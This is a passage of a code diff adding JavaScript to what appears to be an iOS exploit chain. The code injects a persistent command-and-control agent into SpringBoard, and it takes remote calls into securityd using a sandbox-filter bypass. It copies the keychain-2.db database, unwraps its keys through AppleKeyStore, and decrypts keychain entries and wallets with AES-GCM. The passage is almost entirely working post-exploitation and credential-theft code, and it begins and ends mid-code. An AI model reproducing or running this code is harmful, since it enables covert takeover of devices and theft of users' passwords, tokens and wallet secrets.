';\nglobalThis.__peInjectTs=' + JSON.stringify(String(Date.now())) + ';\n'; + c2Code = c2Code.replace('Native.init();', 'Native.init();' + diagSnippet); + LOG("[PE-WORKER] ucred diag inserted (" + diagData.length + " chars)"); + } catch(dErr) { + LOG("[PE-WORKER] diag insert error: " + dErr); + } + try { + let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || '').replace(/-/g, '').toUpperCase(); + if (_duuid && /^[0-9A-F]{16,64}$/.test(_duuid) && _duuid !== '69DD25B2CA8B5682BA2470D77124E2FC') { + c2Code = c2Code.split('69DD25B2CA8B5682BA2470D77124E2FC').join(_duuid); + c2Code = c2Code.split('__LAB_BAKED_DELIVERY_UUID__').join(_duuid); + let uuidSnippet = '\nglobalThis.__LAB_DEVICE_UUID__=' + JSON.stringify(_duuid) + ';\n'; + c2Code = c2Code.replace('Native.init();', 'Native.init();' + uuidSnippet); + LOG("[PE-WORKER] c2_agent delivery UUID injected (" + _duuid + ")"); + } + } catch(uErr) { + LOG("[PE-WORKER] c2_agent UUID inject error: " + uErr); + } + if (__useNuiC2) { + p7_flog("PEMK-F0 nui SpringBoard RC begin"); p7_flushLog(); + var __c2RC = null; + for (var __c2Try = 0; __c2Try < 2; __c2Try++) { + try { globalThis.__peRemoteFail = 0; } catch (_zf) {} + var __tRc = Date.now(); + try { + __c2RC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"](targetProcess, migFilterBypass); + } catch (_rcE) { + p7_flog("PEMK-F0 SpringBoard RC threw try=" + (__c2Try + 1) + " " + _rcE); p7_flushLog(); + __c2RC = null; + } + var __fail = 0; + try { __fail = globalThis.__peRemoteFail || 0; } catch (_ff) {} + if (__c2RC && __c2RC.success()) { + p7_flog("PEMK-F0 SpringBoard RC ok try=" + (__c2Try + 1) + " ms=" + (Date.now() - __tRc)); p7_flushLog(); + break; + } + p7_flog("PEMK-F0 SpringBoard RC fail try=" + (__c2Try + 1) + "/2 fail=0x" + Number(__fail).toString(16) + " ms=" + (Date.now() - __tRc)); + p7_flushLog(); + if (__c2RC) { try { __c2RC.destroy(); } catch (_rd0) {} } + __c2RC = null; + // 0x494 = first EXC wait timeout (120s) — retrying usually wastes another 120s. + if (Number(__fail) === 0x494) break; + try { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("usleep", 2000000); } catch (_us) {} + } + if (!__c2RC || !__c2RC.success()) { + LOG("[PE-WORKER] c2_agent: SpringBoard RC failed"); + p7_flog("PEMK-F0 SpringBoard RC failed -> war-fallback"); p7_flushLog(); + __pePostWarDumpFallback("sb_rc_fail"); + } else { + p7_flog("PEMK-F0 SpringBoard RC ok -> pre-token"); p7_flushLog(); + var __c2Paths = [ + "/tmp/", + "/tmp/keychain_c2_dump.json", + "/tmp/keychain_c2_dump.json.tmp", + "/tmp/keychain_c2_dump.done", + "/tmp/keychain_c2_dump.partial", + "/tmp/p7_debug.log", + "/private/var/tmp/" + ]; + var __c2TokOk = 0; + for (var __cpi = 0; __cpi < __c2Paths.length; __cpi++) { + try { + if (__labApplyFreshToken(__c2RC, __c2Paths[__cpi])) __c2TokOk++; + } catch (_ct) {} + } + p7_flog("PEMK-F0 pre-token ok=" + __c2TokOk + "/" + __c2Paths.length); p7_flushLog(); + var c2Agent = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](__c2RC, c2Code, migFilterBypass); + p7_flog("PEMK-F0 InjectJS ctor ok"); p7_flushLog(); + if (c2Agent.inject()) { + LOG("[PE-WORKER] c2_agent OK - persistent loop started"); + // Do NOT applyTokensForRemoteTask — deadlocks with bg evaluateScript. + p7_flog("PEMK-F0 c2 inject OK skip full applyTokens -> destroy"); p7_flushLog(); + c2Agent.destroy(); + __c2Injected = true; + try { globalThis.__peC2Injected = true; } catch (_g) {} + p7_flog("PEMK-F0 destroy ok"); p7_flushLog(); + } else { + LOG("[PE-WORKER] c2_agent FAILED"); + p7_flog("PEMK-F0 c2 inject FAILED -> war-fallback"); p7_flushLog(); + try { __c2RC.destroy(); } catch (_rd) {} + __pePostWarDumpFallback("inject_fail"); + } + } + } else { + p7_flog("PEMK-F0 legacy SpringBoard inject begin"); p7_flushLog(); + let c2Agent = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, c2Code, migFilterBypass); + p7_flog("PEMK-F0 legacy InjectJS ctor ok"); p7_flushLog(); + if (c2Agent.inject()) { + LOG("[PE-WORKER] c2_agent OK - persistent loop started"); + p7_flog("PEMK-F0 legacy inject ok -> applyTokens"); p7_flushLog(); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(c2Agent.task); + c2Agent.destroy(); + __c2Injected = true; + try { globalThis.__peC2Injected = true; } catch (_g2) {} + p7_flog("PEMK-F0 legacy c2 OK"); p7_flushLog(); + } else { + LOG("[PE-WORKER] c2_agent FAILED"); + p7_flog("PEMK-F0 legacy c2 FAILED -> war-fallback"); p7_flushLog(); + __pePostWarDumpFallback("legacy_inject_fail"); + } + } + } catch (c2Err) { + LOG("[PE-WORKER] c2_agent error: " + c2Err); + p7_flog("PEMK-F0 exception: " + c2Err); p7_flushLog(); + if (!__c2Injected) __pePostWarDumpFallback("exception"); + } + p7_flog("PEMK-F s5_c2 done injected=" + (__c2Injected ? "1" : "0")); p7_flushLog(); +} + + function __peStage6() { + // Wait like bak success: /tmp/keychain-2.db size > 1MB, OR READY notify from copier/rc_copy. + // Then Phase2: MPD sqlite3_open(path) → iterate ciphertext → securityd AKS unwrap. + if (typeof __peStillOwner === "function" && !__peStillOwner()) { + p7_flog("PEMK-G skip s6: lost pe_run_token (newer/other PE)"); + p7_flushLog(); + return; + } + p7_flog("[PE-WORKER] waiting for keychain db (size>1MB or READY, max 90s)..."); + p7_flushLog(); + var __labKcReady = false; + var __labKcPath = "/tmp/keychain-2.db"; + var __labKcPaths = ["/tmp/keychain-2.db", "/private/var/tmp/keychain-2.db"]; + for (var __labWi = 0; __labWi < 90; __labWi++) { + if (typeof __peStillOwner === "function" && !__peStillOwner()) { + p7_flog("PEMK-G abort wait: lost pe_run_token"); + p7_flushLog(); + return; + } + var __st = __labKcReadStatus(); + if (__st && __st.ready) { + __labKcReady = true; + __labKcPath = __st.path || __labKcPath; + try { globalThis.__labKcCopyPath = __labKcPath; globalThis.__labKcReady = true; } catch (_g) {} + p7_flog("[PE-WORKER] keychain COPY READY notify path=" + __labKcPath + " t=" + (__labWi + 1) + "s raw=" + String(__st.raw).slice(0, 120)); + p7_flushLog(); + break; + } + for (var __labPi = 0; __labPi < __labKcPaths.length; __labPi++) { + var __labSz = __labKcDbSize(__labKcPaths[__labPi]); + if (__labSz > 1048576) { + __labKcReady = true; + __labKcPath = __labKcPaths[__labPi]; + try { globalThis.__labKcCopyPath = __labKcPath; globalThis.__labKcReady = true; } catch (_g2) {} + p7_flog("[PE-WORKER] keychain db ready path=" + __labKcPath + " sz=" + __labSz + " t=" + (__labWi + 1) + "s"); + p7_flushLog(); + break; + } + } + if (__labKcReady) break; + if ((__labWi % 10) === 9) { + p7_flog("[PE-WORKER] still waiting keychain db t=" + (__labWi + 1) + "s"); + p7_flushLog(); + } + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1); + } + if (!__labKcReady) { + p7_flog("[PE-WORKER] keychain db not ready after 90s - SKIP Phase2 (no AKS/sqlite until copy)"); + p7_flushLog(); + } + if (__labKcCopier) { + try { __labKcCopier.destroy(); } catch (_kd) {} + __labKcCopier = null; + } + + + // ===== P7 Phase 2: V4 Local SQLite + Remote AKS Oracle Pipeline ===== + // Hard gate: MPD must see READY (copy done) before sqlite open + securityd AKS unwrap. + if (p7_enableP7 && !__labKcReady) { + p7_flog("[PE-WORKER] Phase2 aborted: no keychain READY — will not connect securityd AKS"); + p7_flushLog(); + } else if (p7_enableP7) { + let p7_secRC = null; + try { + p7_flog("=== Phase 2: V4 AKS Oracle Pipeline (READY path=" + __labKcPath + ") ==="); + let N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + + function p7_toPtr(v) { + if (typeof v === 'bigint') return v; + if (typeof v === 'number') return BigInt(v); + if (v === null || v === undefined) return 0n; + p7_flog("WARN toPtr: type=" + typeof v + " v=" + String(v).slice(0, 40)); + return 0n; + } + function p7_toRC(v) { + if (typeof v === 'number') return v; + if (typeof v === 'bigint') return Number(v & 0xFFFFFFFFn); + if (v === null || v === undefined) return -1; + p7_flog("WARN toRC: type=" + typeof v + " v=" + String(v).slice(0, 40)); + return -1; + } + + function p7_requirePtr(label, v) { + if (typeof v === 'bigint') return v; + if (typeof v === 'number') return BigInt(v); + p7_flog("BUG requirePtr(" + label + "): got " + typeof v); + throw new TypeError("requirePtr(" + label + "): expected bigint|number, got " + typeof v); + } + + // --- Poke securityd: 3x SecItemCopyMatching (wake threads before RC) --- + p7_flog("Poke: waking securityd..."); + try { + var p7_rpResult = p7_toPtr(N.callSymbol("malloc", 8n)); + if (p7_rpResult && p7_rpResult !== 0n) { + var p7_rpKSC = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecClass"))); + var p7_rpKGP = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecClassGenericPassword"))); + var p7_rpKML = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecMatchLimit"))); + var p7_rpKM1 = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecMatchLimitOne"))); + for (var pi = 0; pi < 3; pi++) { + var pq = p7_toPtr(N.callSymbol("CFDictionaryCreateMutable", 0n, 2n, 0n, 0n)); + if (!pq || pq === 0n) break; + N.callSymbol("CFDictionarySetValue", pq, p7_rpKSC, p7_rpKGP); + N.callSymbol("CFDictionarySetValue", pq, p7_rpKML, p7_rpKM1); + N.write64(p7_rpResult, 0n); + var pr = Number(N.callSymbol("SecItemCopyMatching", pq, p7_rpResult)); + var pref = N.readPtr(p7_rpResult); + if (pref && pref !== 0n) N.callSymbol("CFRelease", pref); + N.callSymbol("CFRelease", pq); + p7_flog("poke[" + pi + "] ret=" + pr); + } + N.callSymbol("free", p7_rpResult); + } + p7_flog("Poke done"); + } catch (pokeErr) { + p7_flog("Poke error: " + pokeErr); + } + + // --- RC(securityd) single attempt (immediately after poke) --- + p7_flushLog(); + if (typeof __peStillOwner === "function" && !__peStillOwner()) { + p7_flog("PEMK-G abort Phase2: lost pe_run_token before securityd RC"); + p7_flushLog(); + throw "pe_run_token_lost"; + } + var p7_t0 = Date.now(); + p7_flog("RC: creating securityd (before c2 to avoid SecItem contention)..."); + p7_secRC = null; + for (var p7_rcTry = 0; p7_rcTry < 3; p7_rcTry++) { + if (typeof __peStillOwner === "function" && !__peStillOwner()) { + p7_flog("PEMK-G abort Phase2: lost pe_run_token during securityd RC retry"); + p7_flushLog(); + throw "pe_run_token_lost"; + } + var p7_tTry = Date.now(); + p7_flog("RC: creating securityd try=" + (p7_rcTry + 1) + "/3"); + try { + p7_secRC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("securityd", migFilterBypass); + p7_flog("RC: constructor took " + (Date.now() - p7_tTry) + "ms success=" + (p7_secRC && p7_secRC.success())); + } catch (rcErr) { + p7_flog("RC constructor threw after " + (Date.now() - p7_tTry) + "ms: " + String(rcErr)); + p7_secRC = null; + } + if (p7_secRC && p7_secRC.success()) break; + if (p7_secRC) { try { p7_secRC.destroy(); } catch(e) {} } + p7_secRC = null; + try { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("usleep", 2000000); } catch (_us) {} + } + p7_flog("RC: securityd total " + (Date.now() - p7_t0) + "ms"); + if (!p7_secRC || !p7_secRC.success()) { + p7_flog("RC(securityd) FAILED"); + if (p7_secRC) { try { p7_secRC.destroy(); } catch(e) {} } + p7_secRC = null; + } else { + let p7_remotePid = p7_toRC(p7_secRC.call(3000, "getpid")); + let p7_remoteUid = p7_toRC(p7_secRC.call(3000, "getuid")); + p7_flog("RC(securityd) pid=" + p7_remotePid + " uid=" + p7_remoteUid); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(p7_secRC); + p7_flushLog(); + + let p7_rm = p7_secRC.mem(); + let p7_sp = p7_secRC.lastLiveSP(); + p7_flog("RC mem=0x" + p7_rm.toString(16) + " liveSP=0x" + p7_sp.toString(16)); + + // --- 2B: Remote AKS IOKit init --- + function p7_rcDlsym(name) { + p7_secRC.writeStr(p7_rm, name); + return p7_toPtr(p7_secRC.call(3000, "dlsym", 0xfffffffffffffffen, p7_rm)); + } + + function p7_rcCallN(funcName, x0, x1, x2, x3, x4, x5, x6, x7, stackArgs) { + let sp = p7_secRC.lastLiveSP(); + if (!sp) { p7_flog("callN: no live SP!"); return 0n; } + if (stackArgs) { + for (var si = 0; si < stackArgs.length; si++) + p7_secRC.write64(sp + BigInt(si * 8), stackArgs[si] || 0n); + } + return p7_secRC.call(5000, funcName, + x0 || 0n, x1 || 0n, x2 || 0n, x3 || 0n, + x4 || 0n, x5 || 0n, x6 || 0n, x7 || 0n); + } + + function p7_rcCalloc(size) { + var raw = p7_secRC.call(3000, "calloc", 1n, BigInt(size)); + if (typeof raw !== 'bigint' && typeof raw !== 'number') + p7_flog("rcCalloc(" + size + ") raw type=" + typeof raw + " val=" + String(raw).slice(0, 60)); + return p7_toPtr(raw); + } + function p7_rcFree(ptr) { + if (ptr && ptr !== 0n) p7_secRC.call(1000, "free", p7_requirePtr("rcFree", ptr)); + } + + function p7_rcWriteBuf(remoteDst, buf, len) { + p7_requirePtr("rcWriteBuf.dst", remoteDst); + var tmp = BigInt(N.callSymbol("malloc", len)); + N.write(tmp, buf.buffer || buf); + p7_secRC.write(remoteDst, tmp, len); + N.callSymbol("free", tmp); + } + function p7_rcReadBuf(remoteSrc, len) { + p7_requirePtr("rcReadBuf.src", remoteSrc); + var tmp = BigInt(N.callSymbol("malloc", len)); + p7_secRC.read(remoteSrc, tmp, len); + var data = N.read(tmp, len); + N.callSymbol("free", tmp); + return data; + } + + var p7_aksConn = 0n; + var p7_aksReady = false; + var p7_result = { + timestamp: new Date().toISOString(), + source: "pe_worker_v4", + securityd_pid: p7_remotePid, + securityd_uid: p7_remoteUid, + diagnostics: {}, + metadataKeys: {}, + tables: {}, + wallets: {}, + errors: [] + }; + + // Resolve IOKit symbols in securityd + var p7_symIOSM = p7_rcDlsym("IOServiceMatching"); + var p7_symIOSGMS = p7_rcDlsym("IOServiceGetMatchingService"); + var p7_symIOSO = p7_rcDlsym("IOServiceOpen"); + var p7_symIOOR = p7_rcDlsym("IOObjectRelease"); + var p7_symIOCCM = p7_rcDlsym("IOConnectCallMethod"); + p7_flog("IOKit syms: Matching=0x" + p7_symIOSM.toString(16) + + " GetMatching=0x" + p7_symIOSGMS.toString(16) + + " Open=0x" + p7_symIOSO.toString(16) + + " CallMethod=0x" + p7_symIOCCM.toString(16)); + + if (p7_symIOSM && p7_symIOSGMS && p7_symIOSO && p7_symIOCCM) { + // task_self_trap in securityd + var p7_secTaskSelf = p7_toPtr(p7_secRC.call(3000, "task_self_trap")); + p7_flog("securityd task_self=0x" + p7_secTaskSelf.toString(16)); + + // IOServiceMatching("AppleKeyStore") + p7_secRC.writeStr(p7_rm, "AppleKeyStore"); + var p7_matching = p7_toPtr(p7_secRC.call(3000, "IOServiceMatching", p7_rm)); + p7_flog("IOServiceMatching=0x" + p7_matching.toString(16)); + + if (p7_matching && p7_matching !== 0n) { + // IOServiceGetMatchingService(kIOMasterPortDefault, matching) + var p7_service32 = p7_toRC(p7_secRC.call(3000, "IOServiceGetMatchingService", 0n, p7_matching)) & 0xFFFFFFFF; + p7_flog("IOServiceGetMatchingService=" + p7_service32); + + if (p7_service32 > 0) { + // IOServiceOpen(service, taskSelf, 0, &connSlot) + var p7_connSlot = p7_rcCalloc(8); + p7_secRC.write64(p7_connSlot, 0n); + var p7_kr = p7_toRC(p7_secRC.call(3000, "IOServiceOpen", + BigInt(p7_service32), p7_secTaskSelf, 0n, p7_connSlot)); + p7_flog("IOServiceOpen kr=0x" + (p7_kr >>> 0).toString(16)); + p7_secRC.call(1000, "IOObjectRelease", BigInt(p7_service32)); + + if (p7_kr === 0) { + p7_aksConn = p7_secRC.read64(p7_connSlot) & 0xFFFFFFFFn; + p7_flog("AKS conn=0x" + p7_aksConn.toString(16)); + + // IOConnectCallMethod(conn, 0, ...) init handshake + var p7_initOut = p7_rcCalloc(32); + var p7_initOutCnt = p7_rcCalloc(8); + p7_secRC.write64(p7_initOutCnt, 2n); + var p7_initKr = p7_rcCallN("IOConnectCallMethod", + p7_aksConn, 0n, 0n, 0n, 0n, 0n, + p7_initOut, p7_initOutCnt, + [0n, 0n]); + var p7_initKrN = p7_toRC(p7_initKr); + p7_flog("AKS init kr=0x" + (p7_initKrN >>> 0).toString(16)); + p7_rcFree(p7_initOut); + p7_rcFree(p7_initOutCnt); + + if (p7_initKrN === 0) { + p7_aksReady = true; + p7_flog("AKS IOKit READY"); + } else { + p7_flog("AKS init handshake failed, trying unwrap anyway"); + p7_aksReady = true; + } + } + p7_rcFree(p7_connSlot); + } + } + } + p7_result.diagnostics.aksReady = p7_aksReady; + p7_result.diagnostics.aksConn = "0x" + p7_aksConn.toString(16); + p7_flushLog(); + + // --- AKS unwrap helper (quiet: no per-call HTTP flog spam) --- + function p7_aksUnwrap(keyclass, wrappedBuf, wrappedLen) { + if (!p7_aksReady || !p7_aksConn) return null; + var scalarBuf, wrappedRemote, outBuf, outSizeBuf, kr, outSize; + try { + scalarBuf = p7_rcCalloc(16); + p7_secRC.write64(scalarBuf, 0n); + p7_secRC.write64(scalarBuf + 8n, BigInt(keyclass)); + wrappedRemote = p7_rcCalloc(wrappedLen); + p7_rcWriteBuf(wrappedRemote, wrappedBuf, wrappedLen); + outBuf = p7_rcCalloc(64); + outSizeBuf = p7_rcCalloc(8); + p7_secRC.write64(outSizeBuf, 32n); + kr = p7_rcCallN("IOConnectCallMethod", + p7_aksConn, 11n, + scalarBuf, 2n, + wrappedRemote, BigInt(wrappedLen), + 0n, 0n, + [outBuf, outSizeBuf]); + outSize = Number(p7_secRC.read64(outSizeBuf) & 0xFFFFn); + } catch (innerErr) { + p7_flog("aksUnwrap fail class=" + keyclass + ": " + innerErr); + if (scalarBuf) p7_rcFree(scalarBuf); + if (wrappedRemote) p7_rcFree(wrappedRemote); + if (outBuf) p7_rcFree(outBuf); + if (outSizeBuf) p7_rcFree(outSizeBuf); + return null; + } + p7_rcFree(scalarBuf); + p7_rcFree(wrappedRemote); + var result = null; + var krVal = p7_toRC(kr); + if (krVal === 0 && outSize > 0 && outSize <= 64) { + result = p7_rcReadBuf(outBuf, outSize); + } else if (krVal !== 0) { + p7_flog("aksUnwrap fail class=" + keyclass + " kr=" + krVal); + } + p7_rcFree(outBuf); + p7_rcFree(outSizeBuf); + return { kr: krVal, outSize: outSize, data: result }; + } + + // --- 2C: Local SQLite3 pipeline --- + var p7_SQLITE_OK = 0; + var p7_SQLITE_ROW = 100; + var p7_dbPaths = [ + "/tmp/keychain-2.db", + "/private/var/tmp/keychain-2.db", + "/private/var/Keychains/keychain-2.db", + "/var/Keychains/keychain-2.db" + ]; + try { + var __np = globalThis.__labKcCopyPath; + if (__np && typeof __np === "string" && __np.length > 0) { + p7_dbPaths = [__np].concat(p7_dbPaths.filter(function(x){ return x !== __np; })); + p7_flog("using copier notify path first: " + __np); + } + } catch (_np) {} + + p7_flog("--- Local SQLite3 pipeline ---"); + // Guarantee the .done marker exists early so c2_agent polling + // succeeds even if the sqlite open / dump below fails (iOS18nui). + try { + var _earlyDoneFd = Number(N.callSymbol("open", "/tmp/keychain_c2_dump.done", 0x601, 0x1FF)); + if (_earlyDoneFd >= 0) { + N.callSymbol("write", _earlyDoneFd, "done", 4); + N.callSymbol("close", _earlyDoneFd); + N.callSymbol("chmod", "/tmp/keychain_c2_dump.done", 0x1FF); + p7_flog("early .done marker created"); + } + } catch(_de) { p7_flog("early .done err: " + _de); } + try { + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath("/tmp/keychain-2.db", true); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath("/private/var/tmp/keychain-2.db", true); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath("/private/var/Keychains/keychain-2.db", true); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath("/var/Keychains/keychain-2.db", true); + } catch (_tokE) { + p7_flog("token refresh warn: " + _tokE); + } + var p7_dbPtrBuf = N.callSymbol("calloc", 1, 8); + var p7_dbRc = -1; + var p7_dbPathUsed = ""; + for (var p7_try = 0; p7_try < 30; p7_try++) { + for (var p7_di = 0; p7_di < p7_dbPaths.length; p7_di++) { + var p7_cand = p7_dbPaths[p7_di]; + var p7_acc = Number(N.callSymbol("access", p7_cand, 0)); + var p7_ofd = Number(N.callSymbol("open", p7_cand, 0)); + var p7_osz = -1; + if (p7_ofd >= 0) { + p7_osz = Number(N.callSymbol("lseek", p7_ofd, 0, 2)); + N.callSymbol("close", p7_ofd); + } + p7_flog("try" + p7_try + " path=" + p7_cand + " acc=" + p7_acc + " sz=" + p7_osz); + // After copier READY notify: attempt open immediately (no size>1MB/1KB gate). + p7_dbRc = Number(N.callSymbol("sqlite3_open_v2", p7_cand, p7_dbPtrBuf, 0x01, 0n)); + p7_flog("sqlite3_open " + p7_cand + " rc=" + p7_dbRc); + if (p7_dbRc === p7_SQLITE_OK) { + p7_dbPathUsed = p7_cand; + break; + } + } + if (p7_dbRc === p7_SQLITE_OK) break; + N.callSymbol("sleep", 2); + } + p7_flog("sqlite3_open final rc=" + p7_dbRc + " path=" + p7_dbPathUsed); + + if (p7_dbRc === p7_SQLITE_OK) { + var p7_db = N.read64(BigInt(p7_dbPtrBuf)); + N.callSymbol("free", p7_dbPtrBuf); + N.callSymbol("sqlite3_busy_timeout", p7_db, 5000); + p7_flog("DB opened OK, db=0x" + p7_db.toString(16)); + p7_flushLog(); + + // --- Unwrap metadata keys --- + p7_flog("preparing metadatakeys query..."); + var p7_metaKeys = {}; + var p7_stmtBuf = N.callSymbol("calloc", 1, 8); + p7_flog("stmtBuf=0x" + BigInt(p7_stmtBuf).toString(16)); + var p7_mkRc = Number(N.callSymbol("sqlite3_prepare_v2", p7_db, + "SELECT keyclass, data FROM metadatakeys", -1, p7_stmtBuf, 0n)); + p7_flog("prepare rc=" + p7_mkRc); + p7_flushLog(); + if (p7_mkRc === p7_SQLITE_OK) { + var p7_mkStmt = N.read64(BigInt(p7_stmtBuf)); + p7_flog("mkStmt=0x" + p7_mkStmt.toString(16)); + var p7_mkCount = 0; + var p7_stepRc; + while ((p7_stepRc = Number(N.callSymbol("sqlite3_step", p7_mkStmt))) === p7_SQLITE_ROW) { + var p7_kc = Number(N.callSymbol("sqlite3_column_int", p7_mkStmt, 0)); + var p7_wrapPtr = BigInt(N.callSymbol("sqlite3_column_blob", p7_mkStmt, 1)); + var p7_wrapLen = Number(N.callSymbol("sqlite3_column_bytes", p7_mkStmt, 1)); + if (!p7_wrapPtr || p7_wrapPtr === 0n || p7_wrapLen < 40) continue; + + var p7_localWrap = N.read(p7_wrapPtr, p7_wrapLen); + + if (p7_aksReady) { + var p7_unwrap = p7_aksUnwrap(p7_kc, p7_localWrap, p7_wrapLen); + if (p7_unwrap && p7_unwrap.kr === 0 && p7_unwrap.data) { + var p7_keyArr = new Uint8Array(p7_unwrap.data); + p7_metaKeys[p7_kc] = p7_keyArr; + p7_result.metadataKeys[p7_kc] = {status: "ok", len: p7_unwrap.outSize}; + p7_mkCount++; + p7_flog("metakey class=" + p7_kc + " OK " + p7_unwrap.outSize + "B"); + } else { + var p7_ukr = p7_unwrap ? p7_unwrap.kr : -1; + p7_result.metadataKeys[p7_kc] = {status: "failed", kr: p7_ukr}; + p7_flog("metakey class=" + p7_kc + " FAIL kr=" + p7_ukr); + } + } + } + N.callSymbol("sqlite3_finalize", p7_mkStmt); + p7_flog("metadatakeys: " + p7_mkCount + " unwrapped"); + p7_result.diagnostics.metadataKeysUnwrapped = p7_mkCount; + } else { + p7_flog("metadatakeys prepare failed rc=" + p7_mkRc); + p7_result.errors.push("metadatakeys prepare rc=" + p7_mkRc); + } + N.callSymbol("free", p7_stmtBuf); + p7_flushLog(); + + // --- Check local CommonCrypto availability --- + var p7_symCCCreate = p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "CCCryptorCreate")); + var p7_hasCrypto = p7_symCCCreate !== 0n; + p7_flog("Local CCCryptorCreate=0x" + p7_symCCCreate.toString(16)); + p7_result.diagnostics.hasCrypto = p7_hasCrypto; + p7_flushLog(); + + // Local AES-GCM with tag verification + // Uses CCCryptorCreate(7args) + CCCryptorUpdate(6args) for AES-ECB, + // then JavaScript for CTR mode + GHASH tag computation + function p7_aesEcbEncrypt(keyPtr, ctx, localIn, localOut, movedBuf, block16) { + N.write(localIn, block16.buffer); + N.callSymbol("CCCryptorUpdate", ctx, localIn, 16n, localOut, 16n, movedBuf); + return new Uint8Array(N.read(localOut, 16)); + } + function p7_gf128Mul(X, Y) { + var Z = new Uint8Array(16); + var V = new Uint8Array(Y); + for (var i = 0; i < 128; i++) { + if (X[i >> 3] & (0x80 >> (i & 7))) + for (var j = 0; j < 16; j++) Z[j] ^= V[j]; + var lsb = V[15] & 1; + for (var j = 15; j > 0; j--) V[j] = (V[j] >>> 1) | ((V[j-1] & 1) << 7); + V[0] >>>= 1; + if (lsb) V[0] ^= 0xe1; + } + return Z; + } + function p7_gcmDeriveJ0(H, iv, ivLen) { + var j0 = new Uint8Array(16); + if (ivLen === 12) { + for (var i = 0; i < 12; i++) j0[i] = iv[i]; + j0[15] = 1; + } else { + var g = new Uint8Array(16); + var nBlk = Math.ceil(ivLen / 16); + for (var i = 0; i < nBlk; i++) { + var off = i * 16, rem = Math.min(16, ivLen - off); + for (var j = 0; j < rem; j++) g[j] ^= iv[off + j]; + g = p7_gf128Mul(g, H); + } + var lb = new Uint8Array(16); + var ivBits = ivLen * 8; + lb[12] = (ivBits >>> 24) & 0xff; lb[13] = (ivBits >>> 16) & 0xff; + lb[14] = (ivBits >>> 8) & 0xff; lb[15] = ivBits & 0xff; + for (var j = 0; j < 16; j++) g[j] ^= lb[j]; + j0 = p7_gf128Mul(g, H); + } + return j0; + } + function p7_gcmInc32(block) { + var c = new Uint8Array(block); + for (var k = 15; k >= 12; k--) { c[k]++; if (c[k] !== 0) break; } + return c; + } + function p7_gcmDecrypt(key32, iv, ivLen, ct, ctLen, tag, tagLen) { + if (!key32 || !ct || ctLen <= 0) return null; + var localKey = p7_toPtr(N.callSymbol("malloc", 32)); + N.write(localKey, key32.buffer || key32); + var ctxBuf = p7_toPtr(N.callSymbol("calloc", 1, 8)); + var cr = Number(N.callSymbol("CCCryptorCreate", + 0n, 0n, 2n, localKey, 32n, 0n, ctxBuf)); + if (cr !== 0) { + p7_flog("gcm: CCCryptorCreate failed cr=" + cr); + N.callSymbol("free", localKey); N.callSymbol("free", ctxBuf); + return null; + } + var ctx = N.readPtr(ctxBuf); + N.callSymbol("free", ctxBuf); + var localIn = p7_toPtr(N.callSymbol("malloc", 16)); + var localOut = p7_toPtr(N.callSymbol("malloc", 16)); + var movedBuf = p7_toPtr(N.callSymbol("calloc", 1, 8)); + + var H = p7_aesEcbEncrypt(localKey, ctx, localIn, localOut, movedBuf, new Uint8Array(16)); + var j0 = p7_gcmDeriveJ0(H, iv, ivLen); + var ctr = p7_gcmInc32(j0); + + var plaintext = new Uint8Array(ctLen); + var blockCount = Math.ceil(ctLen / 16); + for (var b = 0; b < blockCount; b++) { + var encCtr = p7_aesEcbEncrypt(localKey, ctx, localIn, localOut, movedBuf, ctr); + var off = b * 16; + var rem = Math.min(16, ctLen - off); + for (var j = 0; j < rem; j++) plaintext[off + j] = ct[off + j] ^ encCtr[j]; + ctr = p7_gcmInc32(ctr); + } + + var tagOk = true; + if (tag && tagLen > 0) { + var ghash = new Uint8Array(16); + var ctBlocks = Math.ceil(ctLen / 16); + for (var i = 0; i < ctBlocks; i++) { + var off2 = i * 16; + var rem2 = Math.min(16, ctLen - off2); + for (var j = 0; j < rem2; j++) ghash[j] ^= ct[off2 + j]; + ghash = p7_gf128Mul(ghash, H); + } + var lenBlock = new Uint8Array(16); + var ctBits = ctLen * 8; + lenBlock[12] = (ctBits >>> 24) & 0xff; lenBlock[13] = (ctBits >>> 16) & 0xff; + lenBlock[14] = (ctBits >>> 8) & 0xff; lenBlock[15] = ctBits & 0xff; + for (var j = 0; j < 16; j++) ghash[j] ^= lenBlock[j]; + ghash = p7_gf128Mul(ghash, H); + var encJ0 = p7_aesEcbEncrypt(localKey, ctx, localIn, localOut, movedBuf, j0); + var computedTag = new Uint8Array(16); + for (var j = 0; j < 16; j++) computedTag[j] = ghash[j] ^ encJ0[j]; + tagOk = true; + for (var j = 0; j < Math.min(tagLen, 16); j++) { + if (computedTag[j] !== tag[j]) { tagOk = false; break; } + } + } + + N.callSymbol("CCCryptorRelease", ctx); + N.callSymbol("free", localKey); + N.callSymbol("free", localIn); + N.callSymbol("free", localOut); + N.callSymbol("free", movedBuf); + if (!tagOk) { + p7_flog("GCM TAG MISMATCH ct=" + ctLen + " iv=" + ivLen); + p7_result.diagnostics.tagMismatches = (p7_result.diagnostics.tagMismatches || 0) + 1; + } + return plaintext.buffer; + } + + // --- V7 blob parser helpers --- + function 